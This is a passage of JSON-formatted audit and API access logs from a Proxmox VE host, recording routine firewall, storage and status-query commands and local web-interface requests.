arch=c000003e syscall=59 success=no exit=-2 a0=7ffe953c61e0 a1=62a520de5310 a2=62a520dde680 a3=5 items=1 ppid=64531 pid=64532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.100:68062): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234694,"@rawstring":"node=pve type=EXECVE msg=audit(1781966234.694:69012): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964463669,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964224312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964224.312:60106): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b01a0 a1=64f8d740c3b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.064:68997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964619769,"@rawstring":"node=pve type=EXECVE msg=audit(1781964619.769:61816): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965805996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.996:67172): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdb9d59390 a1=60f73a4a03d0 a2=60f73a47e680 a3=5 items=1 ppid=64512 pid=64513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.093:68060): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234665,"@rawstring":"node=pve type=EXECVE msg=audit(1781966234.665:69011): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964462666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 841"} {"@timestamp":1781964224280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964224.280:60105): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f7140 a1=64f8d1915ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.056:68996): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554022,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781964616073,"@rawstring":"node=pve type=EXECVE msg=audit(1781964616.073:61813): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965804377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.377:67162): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966015.093:68059): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=EXECVE msg=audit(1781966230.883:69010): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964460653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.372:60104): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.053:68995): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=624b68501740 items=0 ppid=1156 pid=66256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965554022,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964616035,"@rawstring":"node=pve type=EXECVE msg=audit(1781964616.035:61811): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781965804376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.376:67161): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.083:68055): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=EXECVE msg=audit(1781966230.874:69007): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964459655,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964223.364:60101): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.050:68994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecb9892a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554022,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964615493,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.493:61810): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965804366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.366:67159): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966010083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.083:68054): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226094,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.094:69004): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964456609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964219564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964219.564:60098): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee7252f60 a2=637ee7240ef0 a3=8 items=2 ppid=57706 pid=57708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.045:68993): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc137f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965552722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781964615490,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.490:61809): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965804366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.366:67158): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226091,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.091:69003): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966010078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.078:68052): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964456609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964219564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964219.564:60097): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253040 a1=637ee7254860 a2=637ee7240ef0 a3=8 items=2 ppid=57706 pid=57707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.039:68992): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc137f80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965552722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.488:61808): argc=1 a0=\"date\""} {"@timestamp":1781965799360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.360:67156): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.090:69002): argc=1 a0=\"date\""} {"@timestamp":1781966010078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966010.078:68051): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964455603,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964219562,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964219.562:60096): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ab0 a1=637ee7248450 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=57705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.034:68991): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965552722,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964615485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.485:61806): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965799360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.360:67155): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.086:69000): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966005410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.410:68047): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdabc55730 a1=5d69fe34e310 a2=5d69fe347680 a3=5 items=1 ppid=65345 pid=65346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964451674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964218356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.356:60095): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.027:68990): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965551696,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964615478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.478:61805): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965799352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.352:67153): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226079,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.079:68999): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966005304,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.304:68029): arch=c000003e syscall=59 success=no exit=-2 a0=7fff8adf94f0 a1=5ea565f35310 a2=5ea565f2e680 a3=5 items=1 ppid=65326 pid=65327 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964451674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964218.345:60092): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.019:68989): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965550711,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964615471,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.471:61804): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965799352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965799.352:67152): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226071,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.071:68998): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966005069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.069:68021): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964450676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 858"} {"@timestamp":1781964215775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.775:60089): arch=c000003e syscall=59 success=yes exit=0 a0=5a28a5b18b20 a1=5a28a5b24e00 a2=5a28a5af2680 a3=5 items=2 ppid=57696 pid=57702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.012:68988): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965550711,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964615465,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.465:61803): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965795933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.933:67148): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7e5b82e0 a1=63b546f35d10 a2=63b546f18680 a3=5 items=1 ppid=64490 pid=64491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226064,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.064:68997): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966005069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.069:68020): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65320 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964448653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964215771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.771:60088): arch=c000003e syscall=59 success=yes exit=0 a0=5a2869478ac8 a1=7ffe8c7ba150 a2=5a28a5af2680 a3=5a286945c24e items=2 ppid=57696 pid=57698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.004:68987): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134bc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined 